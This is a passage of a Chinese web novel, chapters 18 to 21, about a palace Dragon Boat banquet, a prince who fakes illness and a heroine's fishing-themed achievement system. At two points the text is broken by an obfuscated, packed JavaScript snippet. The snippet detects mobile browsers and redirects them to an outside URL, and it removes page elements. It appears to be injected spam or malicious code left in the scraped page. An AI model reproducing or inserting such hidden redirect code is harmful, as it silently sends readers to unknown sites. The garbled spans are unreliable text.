她实在摸不准邓皇后这么问的目的,也不清楚邓皇后对自己别居一处的看法如何。想了一会,姜同云只能谨慎地回答道:“只是一个人住着更松快些。” 邓皇后不置可否地笑了笑:“你们这些年轻人啊。” 她转头看向宫人:“现在什么时辰了?” 身旁宫人回禀道:“娘娘,快到巳时了。” “人都到齐了?” “是。各府女眷都已到曲台殿内了。” 邓皇后点了点头。 她从坐榻摆的矮几上拿了一样东西,对着姜同云道:“把手伸出来。” 姜同云不明就里,将两只手都伸了出去。邓皇后将手中长命缕绕在她的右臂上系好,又从矮几上取了一只香囊放到姜同云手中。 姜同云一时有些愣神。但她很快就反应了过来,垂首致谢:“多谢皇后娘娘。” 邓皇后抬了抬下巴:“去找含昭玩吧。” 于是姜同云捏着香囊,稀里糊涂地走出了椒房殿。 皇后这个态度,应该是对自己还算满意吧? 18. 再遇 端午宫宴是在内城曲台殿上举行。 曲台殿位于内城东侧,是一处东西朝向的宫室。因为地势较高,居于其中可以纵览环绕宫城的护城河,非常适合观赏龙舟赛事,所以宫内历年的端午节宴都设置于此。 邓皇后给谢含昭安排的小宴就在曲台殿的西配殿内。虽然观景的角度比不上正殿,但胜在无人打扰。 姜同云行至西配殿时,谢含昭正在指挥宫人摆放桌椅。先前在行宫陪她一起钓鱼的小宫女烟景也跟在一旁。 很明显,邓皇后着意开始培养谢含昭的理事能力,这场小宴就是对她的一次锻炼。 虽然仍是邓皇后在把握全局,但这次小宴从受邀人选到席间菜单,乃至配殿内的布置摆设、侍奉人员,全都是由谢含昭决定的,就连发出去的帖子都是她亲自撰写。 想到刚才邓皇后召见的情形,姜同云不由在心中感慨: 正是有这样一位思虑周全的母亲,谢含昭才能被养成那种天真热情却又不失体贴周到的性格吧。 感叹之间,谢含昭已经在宫人提示下看见了姜同云,朝着她迎了过来:“姜姐姐!” 受限于衣裳首饰,谢含昭没法再跑跑跳跳的,只能规规矩矩地快步走来,一把扶住了想要行礼的姜同云:“这里也没别的人,姐姐不用这么多礼的。” 姜同云没有拒绝,顺着她的力道站了起来:“殿下今日很好看。” 谢含昭今日穿着一条芙蓉红的百叠裙,上配一件洒金杏仁黄的窄袖短衫,梳了一个百合髻,佩戴着成套的金镶红宝石头面和首饰。她看上去和往日大不相同,还真有几分能当家做主的架势。 谢含昭被夸得有些不好意思,挠了挠自己的脸颊:“姐姐今日也很漂亮!” 姜同云选了一条天水碧罗裙,外罩一件雅黄色绣花褙子,梳着同心髻,头上只戴了几朵简单的攒珠花并两支玉簪。在这个已经初显暑热的季节,这副妆扮倒是别有一种清爽怡人的感觉。 谢含昭拉着姜同云在一旁的坐榻上坐下,殿内侍奉的宫人给两人各上了一盏热茶。 看着配殿中央摆着的那张能坐四五个人的桌子,姜同云不禁有些好奇: “殿下今日还邀请了谁?” 谁知这么一问,倒叫谢含昭的情绪变得低落起来:“就我和姐姐,还有烟景三个人了。” 明白是自己的问题惹小姑娘难过了,姜同云不禁有些懊恼,连忙转移话题道:“上次去游湖,你不是很喜欢我带去的网兜吗?前两天接到你的帖子后,我就去东市给你定做了一个,今天也给你带过来了。” 谢含昭果然被转移了注意力:“真的吗?!上次回来以后,我也让宫里的人照着做过,但总感觉差上一些。还是姜姐姐好,知道我喜欢什么!” “不过是个小玩意。”姜同云笑了笑。这种网兜不是什么很特别的东西,只不过是系统奖励的图纸,在设计方面比较有巧思罢了。寻常人想要仿制也不算太难,只是得多花一些功夫。 谢含昭摇了摇头:“才不是呢!上次回宫以后,我又在宫里钓了两回鱼,可惜都收获平平。但只要跟着姜姐姐,我就能钓好多好多!所以一定是姜姐姐比较厉害!” 姜同云扬了扬眉:“是吗?” 谢含昭点了点头:“对呀!我用的还是姐姐你上次给我的饵料,但钓了快一天,就只钓上来半篓子鱼,还都是些这么点大的小东西。” 其实单从成果来看,谢含昭已经胜过了绝大多数的钓鱼佬了。但经历那天游湖时群鱼毕至的盛况后,这半篓子鱼根本就入不了公主殿下的眼。 看着谢含昭比划的手势,姜同云也有些疑惑。 虽然她是有系统加成没错,但上次鱼情这么凶猛,也远超她了以往的钓鱼表现。她还以为是有谢含昭的新手光环加成才能达到那种效果呢。 姜同云想起来她有好久没打开过钓鱼系统了,这次回家去得研究一下,看看是不是系统又发了什么奖励。 “大概是宫里的鱼都有人喂,所以不容易被饵料骗到吧。”姜同云想了想,帮小姑娘找了个理由。 “也许吧。” 谢含昭也是个心大的小姑娘,很快就把这点子疑惑抛诸脑后。 她朝姜同云“嘿嘿”地笑了两声:“姜姐姐,上次在观澜殿的宴会,我后来偷偷去看你了!” 一提到上次的宴会,姜同云就会想起游湖那天,谢怀雵含笑告诉自己宴会目的时的情景。 社死经历浮现眼前,姜同云只觉自己又要烧起来了。 她清了清嗓子,假装淡然地问道:“你都偷看我什么了?” 谢含昭还沉浸在自己小小的自得里,没有发现她的姜姐姐已经红了耳朵:“姜姐姐喜欢看歌舞!还喜欢喝那个梅子酒!” “所以我今天问母后讨了那支歌舞班子来,正好他们也编排了新的舞曲!”谢含昭掰着手指头数道,“梅子酒我也准备啦,另外还有一些菜和点心……” 听着小姑娘这般细细数着,姜同云只觉心里分外熨贴。 她没忍住,伸出手去轻轻抱了抱谢含昭。 谢含昭愣住了:“姜……姜姐姐?” 姜同云笑道:“殿下不喜欢吗?但你这样太可爱了,我实在是克制不住。” 谢含昭的脸一下子就红了。她小声嗔怪道:“姐姐真是的,下次也提前说一下嘛。” 姜同云垂首合掌:“是我冒犯殿下了,下次一定经过殿下同意再抱!” 两人又笑闹了一阵,邓皇后身边的孟姑姑进来请示:“殿下,主殿那边已经开宴了。您这里是不是也……” 谢含昭赶紧板起脸来,清了清嗓子,装着严肃地说道:“那咱们也开宴吧。” 于是二人站起身来,带着烟景一起在圆桌旁入座。 孟姑姑击掌示意,宫人捧着菜肴鱼贯而入,依次摆上圆桌。 等宫人退去,表演歌舞的舞姬也进入殿内。 谢含昭看着表情庄重的姜同云和身体僵硬的烟景,对孟姑姑摆了摆手道:“姑姑回母后身边去吧,我这里有人看着,不会有事的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458156|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孟姑姑笑着告退了。 她一走,姜同云就放松了肩膀;烟景更是大大地出了口气。没了压力源,三人开开心心地吃吃喝喝看表演。 等她们磨磨蹭蹭地吃完,东面也传来了呼喊号子的声音。 烟景在谢含昭示意下噔噔噔地跑到窗边看了看:“殿下,好像是比赛要开始了!” 谢含昭连忙道:“快快快,把窗子打开,咱们去看赛龙舟!” 宫人们依言开窗,又在窗下放置了垫着软垫的矮榻。 三个人挤在窗户边上,向外看去。 两个小姑娘忙着探头去看远处的龙舟,姜同云倒是一眼就看见了从正殿里出来的帝后等人。 为了方便观赏赛事,宫中特意在曲台殿正殿的东面修了一处平台。这会儿开赛在即,正殿参宴的人都陆陆续续地走了出来。帝后二人身着玄色常服,前有宫人开道,后有人群簇拥,自然最引人瞩目。 跟随在帝后身边的,就是各位皇子公主了。 今上后宫妃嫔不多,子嗣也相对较少。能长到列入序齿的拢共就只有七子五女,其中还有二子一女早年夭折,所以如今宫里就只有五位皇子、四位公主。 皇子中,现年二十六岁的太子是皇后所出。他既是嫡子,又是长子,所以今上甫一登基就将他立为储君。太子在几年前就已完婚,如今也有了子女,地位稳固。 往下数,便是受封吴王的三皇子、受封赵王的五皇子,至于六、七两位皇子,因年纪尚小,如今还未封王。 公主中,大公主、二公主都已成年出降;四公主也已定下驸马,预计会在今年之内完婚。 这会儿陪在帝后身边的,就是太子夫妇以及他们的一个孩子。余下诸位皇子公主则稍落后一些。 让姜同云感到惊讶的是,谢怀雵居然也站在皇子中间。 看来确如传闻所言,陛下是真的非常宠爱这个侄子。 谢怀雵今日穿着群青色的外袍,腰间系着一条包裹着浅黄素缎的革带,带上饰有金玉。除了玉佩以外,他的腰间还挂着一枚香囊,看上去和邓皇后赐给姜同云的十分相像,大约也是宫内所制。 即使他的穿着打扮相当低调,但站在几位皇子中间依旧毫不逊色。甚至因为容貌出众,旁人第一眼看过去的时候,还会先被谢怀雵吸引目光。 姜同云在心里给谢怀雵的美色竖了个大拇指: 要是我是皇上,我也愿意宠爱长得这么好看的侄子! “我看见怀雵哥哥啦!”谢含昭也在人群里一眼看见了谢怀雵。她没有叫喊,但伸出手去朝着谢怀雵招了两下。 谢怀雵还真注意到了谢含昭的动作,微微侧过头来。 观赛的平台比谢含昭她们所在的窗户要略低一些。姜同云稍稍垂首,正好和抬起头来的谢怀雵视线相撞。 谢怀雵微微点头示意。 窗台上,容色妍丽的少女歪了歪头,也对着他露出了笑容。 初夏的阳光耀目夺人,谢怀雵的眼睛似乎都被灼了一下。 19. 旧疾 龙舟在呼号声中于护城河南面那头集结完毕。 擂鼓声隆隆响起。 帝后和诸位皇子公主依次入座,其余诸人也都按照位次各自站定。 护城河两岸早被精心装饰过,此时彩旗招展,分外热闹。 对岸还布置了简易的看台,宫人和一些未能参加宫宴的官员就挤在这些看台上,伸着脖子等着观看龙舟赛。 鼓声越发激烈,观众们的情绪也随之不断高涨。 突然,鼓声止息。 高坐看台的皇帝陛下略一抬手,身旁侍立的内监便传话示意开赛。 姜同云站在窗边,借着高度优势,正好可以看见河的那头,一名全副武装的侍卫挥刀斩断了系着红旗的绳索。 红旗倒下的瞬间,护城河上爆发了冲天般的口号声和激烈急促的鼓点。声音炸响的同时,参赛的五条龙舟如同离弦之箭,激射而出。 围聚在护城河两岸的观众们顿时发出了山呼海啸般的欢呼声和鼓劲声。 西配殿里,谢含昭和烟景也已经举着手开始替参赛队伍加油了。 姜同云受到气氛感染想要跟着喊两声,但她一个参赛队伍都认不出来。话到嘴边又咽了回去,姜同云只能努力地开始鼓掌。 谢含昭很快就注意到了这点,放下手开始替她介绍起来。 “从西往东数,最靠近咱们的,那艘系着蓝色彩球的龙舟,是十六卫选派的队伍;他们边上系红色彩球的是东宫的队伍,由太子哥哥亲自挑选的;中间那艘系黑球的都是宗室子弟;再过去那艘黄球的,是勋贵子弟;最东面那艘,是禁军的队伍。” 姜同云囫囵记了一遍,努力将他们对上号:“所以刚刚殿下是在给东宫队伍鼓劲。殿下为什么不帮宗室们喊一喊呢?” 好歹也是亲戚嘛。 谁想谢含昭小嘴一扁:“我给他们喊再大声,他们都不会赢的。” 边上的烟景转过头来,附和着点了点头:“姜姑娘不知道,宗室的队伍已经连输四年了!而且看样子,今年也是要输了。” 姜同云将目光投回赛场。 果不其然,现在冲在最前面的是十六卫的蓝球队,紧随其后的是禁军和东宫的队伍,他们的船头与蓝队相差无几。但宗室和勋贵的队伍就不容乐观了。黑球队已经落后了他们快三个人的身位,勋贵代表的黄球队甚至比黑队还要再慢上一些。 不过摸着良心说,他们划得都相当卖力。比不过也并非偷懒耍滑,实在是因为实力不济。 谢含昭侧过头来:“宫里的内监和宫女们每年都会偷偷开局猜输赢。姐姐觉得哪艘会赢?” 看着这些劈波斩浪的龙舟队伍,姜同云决定端一端水:“我觉得他们都很厉害啊!” 谢含昭无法认同:“勋贵那队就算了,年年都是最后。但宗室队伍可不是。以前怀雵哥哥参加的时候,咱们宗室的队伍连着拿了两年第一呢!可惜……后来他们就越来越没用了。” 说话间,蓝队率先冲到了折返线。船上众人齐齐发力驻桨,急冲的船只猛然一定。随后他们快速换手,龙舟重新启动,向着来时的方向冲刺回去。 前三支队伍都在领队指挥下,用非常流畅的动作完成了换向折返。但后续赶到的两只龙舟就没那么轻松了。 黑队又往前冲了一阵才止住冲劲,之后又多花了一点时间才达成一致,让龙舟重新移动;黄队那就更是手忙脚乱,不仅冲过了头,甚至在试图停船的时候差点把船搞翻。 这么一耽搁,龙舟之间的差距已经越拉越大,几乎没有翻盘的可能性了。 看着他们狼狈的样子,谢含昭撇了下嘴角:“真给咱们谢氏还有怀雵哥哥丢人!” 比赛结果几乎已定,看着冲在最前头的十六卫,谢含昭已经有些意兴阑珊了。 姜同云摸了摸她的脑袋:“只是一场比赛罢了。这些的队伍都很强,十六卫和禁军更是常年演练的。齐王殿下参加的时候能赢,那是因为齐王殿下特别厉害,对不对?” 被这么哄了一下,谢含昭的心情有所好转。 小姑娘从矮榻上蹦了下来:“不看了不看了,还是歌舞更好看一些!” 姜同云笑了笑。 她正准备离开窗台,却突然感觉自己似乎正在被人注视。 扭过头去,姜同云对上了看台上一名年轻男子的视线。 那人身穿赪紫色的袍子,头戴一顶金冠,看上去约莫十七八岁。 从所坐位次以及年龄来看,此人大约是赵王谢怀晟。 想着毕竟也是一位王爷,还是谢含昭的哥哥,姜同云便对着他友好地笑了笑,随后离开窗口。 窗台边的倩影退回屋内。 谢怀晟看着姜同云刚才所在的方位,眉峰微动,脸上露出了一个志在必得的笑容。 ***** 伴随着龙舟先后触线,此次比赛的结果也随之产生。 毫无疑问,拿下冠军的就是十六卫所在的蓝队。 虽然今年的宗室表现又是平平,但前三的队伍里,两支是陛下的直属亲卫,另外一队还是太子东宫派出来的,所以皇帝陛下对这个结果还是挺满意的,高高兴兴地叫内监传唤三支队伍的领队到曲台殿来领赏。 内监领旨而去,臣工们知道陛下开心,也顺着说了一箩筐的好话。 谢怀晟从座位上站起,走到帝后近旁,跟着夸了几句。 谢怀晟的母妃在后宫很是受宠,加上他本人也嘴甜会哄人,所以陛下对这个儿子还是颇为宠爱的。这会听见谢怀晟不仅夸赞自己治下有方,还顺带把他去年大力推行的边军改制都夸了一遍,皇帝陛下只觉心中十分熨贴,快慰地笑了起来。 谢怀晟夸完父皇,眼睛一转,又盯上了坐在后方的谢怀雵。 他故作遗憾地摇了摇头:“就是可惜了宗室队伍。这要是齐王的身体依旧强健,今年宗室怎么也能拿个名次啊。” 看台上的氛围瞬间一滞。 帝后的笑容已经凝在了脸上。 太子眉头微蹙,看了隐带得意的谢怀晟一眼,正准备开口说些什么,却听后头的谢怀雵猛地咳了起来。 这一下,帝后二人彻底坐不住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459722|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邓皇后腾地站起身来,快步走到谢怀雵身边查看情况。皇帝陛下也跟着起身道:“快宣个太医来看看!” 帝后站着,其他人自然也不好再坐。周围的人立时都站了起来,面露关怀地围了上来。 谢怀雵捂着嘴咳得眼泪都快出来了。但见帝后都起身走来,他艰难地抓着扶手想要站起来。 见他咳成这样还打算起身,一旁的吴王连忙按住了他的肩膀。太子也及时走到谢怀雵身旁,伸手轻拍他的后背帮他顺气:“你快别动了,好好歇着要紧!” 好一会后,谢怀雵才慢慢缓过劲来。 太医也在此时赶到,开始替他诊脉。 甫一搭上谢怀雵的手腕,太医就让这虚弱不堪的脉象惊出了一脑门的汗。 这齐王殿下的脉象是真的不太好了! 但可他要是敢把这话说出来,铁定是要挨罚的! 倒霉倒霉,怎么今天偏偏是自己当值! 太医只觉万分为难。 但周围这么多人看着,还有帝后和太子这三位重量级的人物在等,太医也不能不说话。太医又仔细地诊了一会才斟酌着说道:“……大约是今日吹了风,加上观看这龙舟比赛,齐王殿下一时间情绪有些激动,所以才又犯了咳疾。” 陛下听到“情绪激动”这几个字,扭过头去瞪了谢怀晟一眼。 谢怀晟连忙垂头表示认错,嘴角却已偷偷勾了起来。 邓皇后才懒得管这对父子间的眉眼官司。 谢怀晟母子俩都很会讨陛下欢心,所以这些年来,陛下对这个儿子是愈发喜爱。即使今日谢怀晟口无遮拦,气得谢怀雵旧疾复发,只怕陛下最后也不过是小惩大诫一番,根本不可能让这位日渐张狂的赵王改过自新。 邓皇后摸了摸谢怀雵的手背:“手这样凉,还是别在外头吹风了。” 她想了想,果断道:“今日含昭在西配殿设宴,那里东西应该都是齐全的,先把怀雵挪到那里去吧。” 陛下转过头来,看着谢怀雵青白的脸色,心中愧疚之意越盛。他点头道:“好。快派个人去五公主那里知会一声。” 那头西配殿里,姜同云刚和谢含昭一起在桌边坐下。她们唤了奏乐的班子过来,准备点上一首曲目听听。 还在翻看单子呢,孟姑姑就快步走了进来:“殿下。” 谢含昭抬头询问:“怎么了?” “齐王殿下犯了咳疾,要过来这边歇一会。” 谢含昭登时跳了起来:“怀雵哥哥又犯病了?怎么回事?严不严重?” 因为事态紧急,又有姜同云在场,孟姑姑没有将事情的前因后果说出来:“已经宣了太医过来了。这边得赶紧布置一下,姜姑娘也该避一避。” 谢含昭这才冷静下来:“对对对。这边只有坐榻,不过也够宽敞了。快把坐榻上的东西撤了,等会好让怀雵哥哥休息。让这些舞姬乐人都退下,再把窗子关上,熏香也灭掉。” 吩咐完这些,谢含昭才转向姜同云:“姜姐姐,今日不能继续招待你了。主殿那头估计也该散了,我这就派人送你出宫去。” 20. 装病 西配殿内,好不容易止住咳嗽的谢怀雵被扶着躺在坐榻上,身上还盖了一条毛毯来保暖。 太医又给他诊了一回,发现脉象有所平缓后不禁松了口气:“齐王殿下已无大碍。只是接下来还是要注意保养,切忌心绪不平。” 邓皇后看了看谢怀雵依旧青白的脸色,还是有些担忧:“上次不是派了太医去齐王府上吗?怎么这么久了也没调养得好一些。” 太医的心又提了起来。为了不坑害同僚,他小心翼翼地说道:“我观殿下脉象,已比先前脉案中所记情况好了不少。今日应该只是过于激动了。” 言者无心,听者有意。太医还不知道刚才赵王拿话刺人的事情,只以为谢怀雵是看比赛的时候太过投入了。但帝后二人听到他这话,脸色已然沉了下去。 恰好内监在此时来报,说诸位皇子公主都还等在外间,想进来探望一下。 陛下皱着眉摆了摆手:“让他们都回去,闹哄哄的还影响怀雵休息。对了,让太子去安抚一下外头臣工,叫他们都散了吧。” 通报的内监见帝后二人脸色都不是很好,有些犹豫要不要继续说。想到刚刚赵王偷偷塞给自己的那袋银子,他迟疑了一会还是开口了:“赵王殿下说他心中过意不去,所以想当面向……” 才听见“赵王”二子,谢怀雵又咳了起来。 邓皇后连忙给他顺气。 陛下的脸色沉得能拧出水了:“让他滚回府里去!好好在家禁足思过一个月,无朕旨意不许出门!” 内监连忙垂首应是,赶紧退了出去。 等谢怀雵咳过这一阵,陛下才又开口道:“怀雵你放心,朕一定会为你主持公道的。等那个臭小子结束禁足,朕让他给你登门致歉。” 谢怀雵虚弱地笑了笑:“赵王不过无心之失,陛下何必苛责于他。” 陛下欣慰地点了点头:“到底是做哥哥的,还是你更懂事。” 邓皇后在心里冷笑了一声,面上却没有显露出丝毫对陛下的不满,只是给谢怀雵掖了掖毯子。 谢怀雵又道:“臣已无大碍。陛下公务繁忙,当以国事为重。” “好。今日天色还早,你就安心在这里歇着吧。等好些了,朕再派人送你回去。” 说着,陛下起身准备离开:“皇后也随朕一道回去吧?” 邓皇后拍了拍谢怀雵的手:“我让含昭来陪你解解闷。” 说到谢含昭,陛下才想起来这个小女儿:“含昭刚刚不是在的吗?这会儿又跑哪去了?” 谢含昭此时就在西配殿门外,领着宫人要把刚点上的炉子送进西配殿里去。 因为陛下刚才的话,其余的皇子公主都已经散了,唯独赵王一人还站在殿门口。 谢怀晟也没想到,自己不过是刺了谢怀雵两句,那个病秧子就被气得快不行了。 要真能把谢怀雵气死,那倒也是件好事。可前提是不能真把父皇惹恼了啊! 所以谢怀晟不肯离开,就站在殿门口等着,想要等到陛下出来的时候抓着机会再求情卖乖,哄一哄陛下。 谢含昭刚刚已经听孟姑姑讲述了事情的前因后果,这会儿看见自己这个讨人厌的五哥,自然是没什么好气。她只作没看见这么一个人,领着宫人径直朝内走去。 谢怀晟伸手拦下了她。 对待弟弟妹妹的时候,谢怀晟自然没有对着陛下时的讨好卖乖。何况这会他的心情也不太好,所以说起话来就更冲了。 “谢含昭,你怎么学的规矩?看见兄长都不问候一声的吗?” 谢含昭差点没把白眼翻到他脸上去。 小姑娘阴阳怪气地说道:“原来是五哥啊。我还以为你早就回府思过去了,谁知道你居然还在这儿呢。” 谢怀晟气得指向谢含昭:“你!” 谢含昭扭过脸去:“五哥还是快回去吧。再在这里吵吵闹闹的,当心父皇再多禁足你一两个月!” 想到皇后还在里头,自己一个人可能还真斗不过这个丫头,谢怀晟怒极反笑:“你给我等着!” 说罢,拂袖而去。 谢含昭不屑地“哼”了一声,转身进殿。 帝后刚要派人寻她,这会儿见她进来,邓皇后不由松了口气:“你又跑哪去了?” 谢含昭给帝后二人请了安,然后示意宫人放下炉子:“殿里到底还是冷了些,我让人点了炉子过来。” 陛下点了点头:“还是含昭贴心。朕和你母后还得去处理别的事情,你先留在这里陪陪你怀雵哥哥。” 谢含昭痛快应下。 有小女儿在这儿,帝后二人便放心地起身离去。 行至殿外,参宴的宗室臣工都已散尽。 二人沿着台阶缓缓下行。 “怀雵这个身子啊,还是得尽快给他找个王妃。”陛下转向邓皇后,“上次行宫那场宫宴,皇后有没有挑出合适的人选?” “是挑了几个姑娘。不过臣妾后来问过怀雵,那孩子一个都没看上。” “那就再多看看。不管怎么说,至少要给怀雵留个后,否则朕实在是愧对他们父子。” 看着陛下脸上流露出来的遗憾和愧疚,邓皇后微微撇了下嘴角。 尽管心中有所不满,但邓皇后回答的语气却恭顺温和,挑不出任何毛病:“是。” ***** 姜同云回到家中时还未过午时。 因为今早起得早,她原本计划先歇个晌补补觉。可是人都躺在床上了,她却翻来覆去地睡不着。 虽然孟姑姑来报的时候只说齐王犯了咳疾,没太多言。但既然宣了太医,还又腾出西配殿来给他休息,搞不好他这次病得不轻。 姜同云记起成安堂的伙计说过,成安堂的大夫们曾经轮流给谢怀雵把过脉,并且得出了一致的结论:他的脉象非常虚弱,恐怕活不了几年。 这次犯病,大约也是因为本身底子太差。 虽然算不上熟人,但好歹也认识一场,对方还给自己提供了非常有用的消息。要是这么不闻不问的,似乎也不太好。 想到这里,姜同云坐了起来:“木樨,木樨!” 木樨原以为自家姑娘要好好睡上一觉。因为姜同云觉轻,为了不打扰她休息,木樨一贯都是等在外间的。 这会儿听到姜同云唤她,木樨连忙放下手里的针线筐,掀开帘子进入内室:“姑娘睡不着吗?” “有件事要做。”姜同云坐在床上招了招手,“我记得当时出来,是带了一些药材的。” 原本她也不想带上这些,毕竟家里外祖父上了年纪,她更希望把好药材留给老人家用。但老爷子非常执拗,说什么都不肯改主意,她没有办法,还是带上了一些诸如人参之类的补药。 不过姜同云当时只大约看了一眼,对这些东西没太上心,所以这会儿只能来问木樨。 木樨管着姜同云的库房,对她的东西烂熟于心。 自家姑娘这么一问,木樨立刻点头道:“是有的。带了几株人参,还有些灵芝、燕窝之类的东西。” “是好参吗?” “虽然不是什么百年老参,不过也是有一定年份的。”木樨回忆了一 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她打开木匣子给姜同云看了看:“姑娘看看还有什么要添的吗?” “不用了。” 谢怀雵怎么说也是个王爷,陛下和皇后对他的事情也挺上心的,其实人家也根本不缺这点子人参。 送药给他只是为了表达关心,顺便维护一下关系,万一将来真有什么地方需要对方帮忙,自己开口的时候也能更有底气。 想到这里,姜同云不由觉得有些好笑。 这位齐王殿下要是真想报恩,倒不如先努力多活几年。至少也不能让她这支人参的投资白费了吧。 她把信件交给木樨:“你把人参包起来,连着这封信一起交给陶叔。让陶叔或者陶振亲自跑一趟,把东西送去这个地址。” ***** 晚间,谢怀雵坐着宫里的马车回到了齐王府里。 齐王府的老管家一早就候在门口,这会儿等到他回来,连忙命人扶着他回房休息。 好不容易安抚住满脸忧心的管家,谢怀雵推说自己困倦想要休息,把唠唠叨叨的老人家打发了出去。 老管家一走,谢怀雵就掀了毯子:“快把炉子挪开,再开窗透透气。” 留在屋里伺候的两人都是他的心腹下属,听到这话,两人憋着笑动了起来。 谢怀雵从床榻暗格里摸出一把扇子,用力地扇了起来。 含昭那丫头,像是生怕他要冷死了一样,不仅搬了炉子来,后面还又让人给他添被子! 要是他真是个弱不禁风的病秧子也就罢了,可他是装的啊!这要是再在宫里躺一会,自己恐怕能捂出痱子来。 谢怀雵扇了好一阵,加上开窗通了风,这才感觉自己好多了。 下属笑话道:“您要是再装下去,搞不好真要得热病了。” 谢怀雵斜了他一眼。 下属绷紧嘴角免得自己笑出声来:“方才兴化坊那边的宅子送了东西过来,您要看看吗?” 兴化坊? 谢怀雵接过东西一看,信封上只写了一个“姜”字。 他担心是姜同云遇到了什么困难,赶紧拆开来看。 谁知信里只有关切之语,看完信后,谢怀雵自己都觉得不好意思了。 说是要帮忙,结果帮到现在,反而还继续承人家的情。 下次还是换个法子吧,装病不是长久之计啊。 21. 成就 次日,姜同云收到了谢怀雵通过兴化坊那处宅子送来的回信。 信上简略提了提他的病情已经无碍,并感谢了姜同云的关心。 随信一起送来的还有一只点心盒子,里面装的都是宫中所制的各式糕点。姜同云在谢含昭那里吃过其中一部分,确实都非常美味。 盒子里的点心种类非常丰富,两次宫宴上提供的点心数量加起来都赶不上这一只盒子,想来也是花了一些功夫的。 这位齐王殿下还真是个礼数周全的人。 因为有些点心存放不住,姜同云便只给自己留了一些,其余的都让木樨拿出去分了。 吃着点心喝着茶,姜同云打开了许久没有开过的钓鱼系统,准备找找上次鱼情爆发的原因。 半透明的界面一展开,姜同云就被当前显示98.5%的完成进度惊到了。 自己最近没做什么吧?为什么进度条涨了?! 她连忙下拉,打开成就图鉴,选中了左侧菜单里的“未完成”一栏。 原本这里是有五个尚未完成的成就的,这会居然只剩下三个了! 除了先前姜同云尝试做但没有成功的“姜太公”,另外一个名为“渔翁不徒手而败”*的成就居然也消失不见了。 摸不着头脑的姜同云打开上方的“已完成”那栏,拉到最后。 果然,那两个消失的成就出现在了这儿。 看着标注“完成”字样的成就,姜同云依次点开查看。 这个钓鱼系统深谙游戏公司不做人的套路。成就在完成以前就只会显示一个名称,系统不会提供任何的说明来给宿主提供思路。但在成就完成以后,宿主就能查看成就详情,里面不但会显示能力加成,还会显示完成该成就的方法。 车撞树上它才拐,这个系统也真是脱裤子放X的一把好手。 在心里狠狠吐槽过系统后,姜同云拉着页面仔细翻阅。 详情页面优先显示能力加成。 “姜太公”可以给宿主叠加10%的咬钩率加成,除此之外,还有10%的钓鱼成功率加成。有这两项BUFF后,即使姜同云钓鱼的时候不挂鱼饵,鱼咬钩的概率也已经高达90%,钓鱼成功率更是已经达到了100%。 不过这两项相对常规的能力加成并没有太让姜同云赶到惊讶。真正给她带来惊喜的,还是第三项加成。 好感度基础加成10%。 按照能力说明,有这项BUFF在身,除非对方原先就和姜同云有仇,否则在初次认识她以后都会自然而然地对她产生一个比较高的好感值。 这个破系统居然还能有这方面的加成?! 再细看成就说明,“姜太公”的具体完成方式,是通过宿主的钓鱼行为和上位者建立起联系,并获得对方的认同。 姜同云猜测,好感度加成的BUFF应该就是源自“上位者的认同”这一要点。 所以自己是通过谢含昭,误打误撞完成了这个成就? 姜同云摸着下巴思忖片刻,愈发觉得这个系统可能没有自己想的那么简单。 于是她又点开了“渔翁不徒手而败”的成就。 说实话,这个成就,姜同云是没想过自己能做出来的。 毕竟按照字面意思来看,这个成就要求的是不用工具完成钓鱼。 她就算有再多的加成,也不能完全不靠工具,空手钓上鱼来吧! 要是她真有这本事,还在金陵做什么?不如直接去沿海地区开坛作法,当个神棍混饭吃呢。 所以点开这个成就后,姜同云根本没空去看成就奖励,直接拉到最后看完成方式。 她倒要看看,自己究竟是怎么完成的这个奇葩成就! 成就页面赫然写着:在不使用任何钓鱼工具(包括鸬鹚这类捕鱼鸟)的前提下,成功钓鱼。 ??? 这不是完全符合了自己先前的猜测吗! 姜同云可不记得自己什么时候空手钓上来鱼过。 难道还能是自己哪天晚上梦游出去,恰好就走到了水边,又恰好被一条好心的傻鱼主动投怀送抱了吗? 姜同云大受震撼,下意识地拉了一下页面。 本来已经到底的详情页面转了转,又刷新出一排极小的小字来: *钓鱼执法也算钓鱼。 !!! 感情您这个钓鱼系统是接受概念化的钓鱼的啊! 所以自己能完成这个成就,是因为上次用羊脂玉佩做诱饵,钓鱼执法抓住了秋芙二人吗?! 这个念头一起,姜同云只觉刹那天地宽。 同时,她的心里涌现出了一个古怪的想法:那么系统给的这些钓鱼加成,会不会也是概念级的能力呢? 那这个系统可真就了不得了! 想到这里,姜同云翻回上去,查看成就奖励的加成。 果不其然,这个成就虽然只奖励了一项加成,但从奖励描述来看简直称得上是神技! 加成能力名为“扩大化”,具体描述为:一切符合“放饵”定义的行为,都将享受到宿主累计获取的“打窝”及“配饵”两项能力的加成。 有了这项能力,姜同云的钓鱼能力就真正地步入了概念化的阶段! 概念级的能力都超厉害的! 顾虑着外面的木樨等人,姜同云不敢发出欢呼,只能猛猛地跺了两下脚。 好不容易平复下激动的心情,她开始计划应该如何创造机会来验证一下这项新获取的能力。 正好她打算利用婚约钓出义阳侯夫妇接盘,不如就趁这个机会,先拿他俩试试手! 她很快就在心里制定出一个简略的计划纲领,随即叫来了木樨,吩咐一番。 ***** 隔天一早,义阳侯府的马车就停在了姜同云家门前。 